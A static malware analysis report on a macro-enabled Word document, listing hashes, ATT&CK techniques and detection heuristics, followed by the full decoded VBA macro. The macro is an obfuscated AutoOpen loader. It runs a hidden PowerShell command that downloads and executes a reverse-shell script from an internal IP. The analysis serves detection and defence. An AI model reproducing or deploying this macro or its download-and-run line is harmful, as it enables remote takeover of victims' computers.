Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 821876bf7cce92b7…

MALICIOUS

Office (OOXML)

19.8 KB Created: 2021-05-31 08:24:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-04
MD5: 95b1a534b663f1360a15c95281f816a3 SHA-1: a0e079d0109ff86caad3ed49a059103d17d35035 SHA-256: 821876bf7cce92b72041ef31e3a738049afe924bb15f90755f82136bec9fbc4e
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains an obfuscated VBA macro with an AutoOpen subroutine, indicating it's designed to execute automatically upon opening. The macro utilizes CreateObject and Shell execution, typical for downloading and running further malicious content. The script attempts to establish persistence by writing to the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAccessible2Proxy.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.2.120/reverse_shell_120_4444.ps1 In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3188 bytes
SHA-256: 7ebbb3e6339813c739d959705989db3d62a2839c7b38668acb80f431b4190496
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
            
    #Else
    
    'declare virtual key event listener
    Private Declare PtrSafe Function GetAsyncKeyState Lib "user32" _
            (ByVal vKey As Long) As Integer
#End If
Private Const VK_F9 = &H78



Function rv0l(str As String) As Variant: Dim bytes() As Byte: bytes = str: rv0l = bytes: End Function
Function zoce(bytes() As Byte) As String: Dim str As String: str = bytes: zoce = str: End Function

Function mhhw3341(str As String) As String
    Const p_ As String = "c08u3ude"
    Dim sb_() As Byte, pb_() As Byte
    sb_ = rv0l(str)
    pb_ = rv0l(p_)
    
    Dim uL As Long
    uL = UBound(sb_)
    
    ReDim scb_(0 To uL) As Byte
    
    Dim idx As Long
    
    For idx = LBound(sb_) To uL:
        If Not sb_(idx) = 0 Then
            c = sb_(idx)
            For i = 0 To UBound(pb_):
                c = c Xor pb_(i)
            Next i
            scb_(idx) = c
        End If
    
    Next idx
    
    mhhw3341 = zoce(scb_)
End Function






Sub AutoOpen()

    w80tad9t
    
End Sub


Sub w80tad9t()

    If Weekday(Now()) = vbTuesday Then
        MsgBox mhhw3341(Chr(13) & "6" & "" & Chr(61) & "8" & " " & "" & Chr(121) & "0" & "" & "*" & Chr(121) & Chr(13) & Chr(44) & "<" & Chr(42) & "=" & "8" & Chr(32) & "")
        nqbyq5ix
        
    ElseIf Weekday(Now()) <> vbTuesday Then
        MsgBox mhhw3341(Chr(13) & "6" & "" & Chr(61) & "" & "8" & "" & " " & Chr(121) & "0" & Chr(42) & "y" & "" & "7" & "" & "6" & "" & Chr(45) & "" & "y" & "" & "" & Chr(44) & Chr(60) & "*" & Chr(61) & "8" & "" & Chr(32))
    
    ElseIf Weekday(Now()) = vbThursday Then
        MsgBox mhhw3341("" & "" & Chr(54) & "" & "=" & "" & "8" & "" & Chr(32) & "y" & Chr(48) & Chr(42) & "y" & Chr(13) & "" & "1" & "," & "" & "+" & "" & Chr(42) & "" & Chr(61) & "8" & Chr(32))
        
    ElseIf Weekday(Now()) <> vbThursday Then
        MsgBox mhhw3341(Chr(13) & Chr(54) & "=" & Chr(56) & "" & Chr(32) & "y" & "" & Chr(48) & Chr(42) & Chr(121) & "7" & "6" & Chr(45) & "y" & "" & Chr(13) & "" & "1" & "," & "" & "+" & "" & "*" & "=" & "" & "8" & "" & Chr(32) & "")
        
    End If


End Sub


Sub nqbyq5ix()
Do Until GetAsyncKeyState(VK_F9)
    DoEvents
Loop
 Shello
End Sub


Function Shello()

  Set objShell = CreateObject(mhhw3341(Chr(14) & Chr(42) & Chr(58) & "" & Chr(43) & "0" & "" & Chr(41) & "" & Chr(45) & Chr(119) & "" & Chr(42) & "" & Chr(49) & "" & "<" & Chr(53) & "" & "5"))
  objShell.Run Chr(112) + "ower" + "shell.exe " + Chr(150) + "WindowStyle Hidden" + "  IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.120/reverse_shell_120_4444.ps1')"

End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: 1ccab05af547ee9b906008e6750c434eae61f6b212c7841d2944f3a4476b13cd